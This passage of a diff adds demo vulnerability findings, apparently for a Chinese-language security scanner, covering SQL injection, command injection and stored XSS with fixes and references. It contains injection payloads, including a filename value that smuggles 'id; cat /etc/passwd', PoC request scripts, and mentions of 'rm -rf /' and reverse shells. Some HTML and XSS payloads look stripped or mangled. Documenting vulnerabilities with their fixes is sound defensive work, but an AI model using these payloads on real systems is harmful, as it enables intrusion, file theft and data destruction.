"poc_description": "通过在 name 参数中注入 SQL 语句,绕过查询条件获取数据库中所有用户信息", + "poc_steps": [ + "访问目标 URL: /api/user/search?name=' OR '1'='1' --", + "观察响应:应返回所有用户数据", + "进一步利用:可尝试 UNION 注入获取其他表数据", + ], + "suggestion": "使用参数化查询或 ORM 框架来防止 SQL 注入", + "fix_code": '''@app.route('/api/user/search') +def search_user(): + name = request.args.get('name', '') + # 修复:使用参数化查询 + query = "SELECT * FROM users WHERE name LIKE :name" + result = db.execute(query, {"name": f"%{name}%"}) + return jsonify(result.fetchall())''', + "fix_description": "使用 SQLAlchemy 的参数化查询功能,将用户输入作为参数传递,而非直接拼接到 SQL 语句中", + "references": [ + {"type": "CWE", "id": "CWE-89", "url": "https://cwe.mitre.org/data/definitions/89.html"}, + {"type": "OWASP", "id": "A03:2021", "url": "https://owasp.org/Top10/A03_2021-Injection/"}, + ], + "ai_explanation": "这是一个典型的 SQL 注入漏洞。代码直接将用户输入拼接到 SQL 查询字符串中,没有进行任何转义或参数化处理。攻击者可以通过特殊字符(如单引号)闭合原有的 SQL 语句,然后注入自己的 SQL 代码。", + "ai_confidence": 0.98, + "xai_what": "SQL 注入是一种代码注入技术,攻击者通过在输入字段中插入恶意 SQL 代码来操纵数据库查询。", + "xai_why": "该漏洞存在是因为开发者直接将用户输入拼接到 SQL 语句中,没有使用参数化查询或进行输入验证。", + "xai_how": "攻击者可以在 name 参数中输入 ' OR '1'='1' -- 来绕过查询条件,或使用 UNION SELECT 来获取其他表的数据。", + "xai_impact": "攻击者可以:1) 绕过认证 2) 读取敏感数据 3) 修改或删除数据 4) 在某些情况下执行系统命令。", + "cvss_score": 9.8, + "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", + "tags": ["owasp-top10", "injection", "database", "authentication-bypass"], + }, + { + "vulnerability_type": VulnerabilityType.COMMAND_INJECTION, + "severity": VulnerabilitySeverity.CRITICAL, + "title": "备份功能存在命令注入漏洞", + "description": "在备份功能中,用户提供的文件名参数直接传递给 os.system() 函数执行,攻击者可以通过命令分隔符(如 ; 或 |)注入任意系统命令。", + "file_path": "app/utils/backup.py", + "line_start": 34, + "line_end": 40, + "function_name": "create_backup", + "code_snippet": '''def create_backup(filename): + """创建备份文件""" + # 危险:直接将用户输入传递给系统命令 + backup_path = f"/backups/{filename}.tar.gz" + cmd = f"tar -czf {backup_path} /data/" + os.system(cmd) # 命令注入风险 + return backup_path''', + "source": "filename 参数", + "sink": "os.system(cmd)", + "dataflow_path": [ + {"step": 1, "location": "line 34", "description": "filename 参数从外部传入"}, + {"step": 2, "location": "line 36", "description": "filename 拼接到 shell 命令"}, + {"step": 3, "location": "line 37", "description": "命令通过 os.system() 执行"}, + ], + "status": FindingStatus.VERIFIED, + "is_verified": True, + "verification_method": "沙箱验证 - 成功执行任意命令", + "verification_result": {"success": True, "payload": "; id; whoami", "output": "uid=1000(www-data)"}, + "has_poc": True, + "poc_code": '''import requests + +# 命令注入 PoC +target_url = "http://target.com/api/backup" + +# Payload: 注入系统命令 +payload = "test; id; cat /etc/passwd" + +response = requests.post(target_url, json={"filename": payload}) +print(f"Response: {response.text}") + +# 预期结果:服务器执行 id 和 cat /etc/passwd 命令''', + "poc_description": "通过在 filename 参数中注入分号和系统命令,在服务器上执行任意代码", + "poc_steps": [ + "构造恶意 filename: test; id; cat /etc/passwd", + "发送请求到 /api/backup 接口", + "观察服务器响应或日志中的命令执行结果", + ], + "suggestion": "避免使用 os.system(),改用 subprocess 模块并禁用 shell=True,对用户输入进行严格的白名单验证", + "fix_code": '''import subprocess +import re + +def create_backup(filename): + """创建备份文件 - 安全版本""" + # 修复:验证文件名只包含安全字符 + if not re.match(r'^[a-zA-Z0-9_-]+$', filename): + raise ValueError("Invalid filename") + + backup_path = f"/backups/{filename}.tar.gz" + # 修复:使用 subprocess 并传递参数列表 + subprocess.run( + ["tar", "-czf", backup_path, "/data/"], + check=True, + shell=False # 禁用shell + ) + return backup_path''', + "fix_description": "1) 使用正则表达式验证文件名只包含安全字符 2) 使用 subprocess.run() 替代 os.system() 3) 禁用 shell 模式,将参数作为列表传递", + "references": [ + {"type": "CWE", "id": "CWE-78", "url": "https://cwe.mitre.org/data/definitions/78.html"}, + {"type": "OWASP", "id": "A03:2021", "url": "https://owasp.org/Top10/A03_2021-Injection/"}, + ], + "ai_explanation": "这是一个严重的命令注入漏洞。os.system() 函数会通过 shell 执行命令,当用户输入被直接拼接到命令字符串中时,攻击者可以使用 shell 的特殊字符(如 ;、|、&&)来注入额外的命令。", + "ai_confidence": 0.99, + "xai_what": "命令注入允许攻击者在目标系统上执行任意操作系统命令。", + "xai_why": "该漏洞存在是因为用户输入直接拼接到 shell 命令中,没有进行任何过滤或转义。", + "xai_how": "攻击者可以在 filename 参数中输入 ; rm -rf / 来删除服务器文件,或执行反弹 shell 获取服务器控制权。", + "xai_impact": "完全的服务器控制权,包括:读取敏感文件、安装后门、横向移动、数据窃取、服务中断等。", + "cvss_score": 10.0, + "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", + "tags": ["owasp-top10", "injection", "rce", "critical"], + }, + { + "vulnerability_type": VulnerabilityType.XSS, + "severity": VulnerabilitySeverity.HIGH, + "title": "评论功能存在存储型 XSS 漏洞", + "description": "用户提交的评论内容在展示时未经 HTML 转义直接渲染,攻击者可以在评论中注入恶意 JavaScript 代码,当其他用户查看评论时会执行这些代码。", + "file_path": "app/templates/comment.html", + "line_start": 28, + "line_end": 32, + "function_name": None, + "code_snippet": '''
+ {% for comment in comments %} +
+

{{ comment.content | safe }}

+ +
+ {% endfor %} +
''', + "source": "comment.content (用户提交的评论)", + "sink": "{{ comment.content | safe }}", + "status": FindingStatus.VERIFIED, + "is_verified": True, + "verification_method": "沙箱验证 - XSS payload 成功执行", + "verification_result": {"success": True, "payload": ""}, + "has_poc": True, + "poc_code": """import requests + +# 存储型 XSS PoC +target_url = "http://target.com/api/comment" + +# Payload: 窃取用户 Cookie +payload = '' + +response = requests.post(target_url, json={"content": payload}) +print(f"Comment posted: {response.status_code}") + +# 当其他用户访问评论页面时,恶意脚本会自动执行""", + "poc_description": "通过在评论中注入 JavaScript 代码,当其他用户查看页面时窃取其 Cookie", + "suggestion": "移除 safe 过滤器,让 Jinja2 自动转义 HTML 特殊字符", + "fix_code": '''
+ {% for comment in comments %} +
+ +

{{ comment.content }}

+
+ {% endfor %} +
''', + "fix_description": "移除 | safe 过滤器,让 Jinja2 模板引擎自动对用户内容进行 HTML 转义", + "references": [ + {"type": "CWE", "id": "CWE-79", "url": "https://cwe.mitre.org/data/definitions/79.html"}, + {"type": "OWASP", "id": "A03:2021", "url": "https://owasp.org/Top10/A03_2021-Injection/"}, + ], + "ai_confidence": 0.96, + "xai_what": "存储型 XSS 是指恶意脚本被永久存储在目标服务器上,当用户访问包含该脚本的页面时会自动执行。", + "xai_why": "该漏洞存在是因为模板使用了 safe 过滤器,禁用了 Jinja2 的自动 HTML 转义功能。", + "xai_how": "攻击者提交包含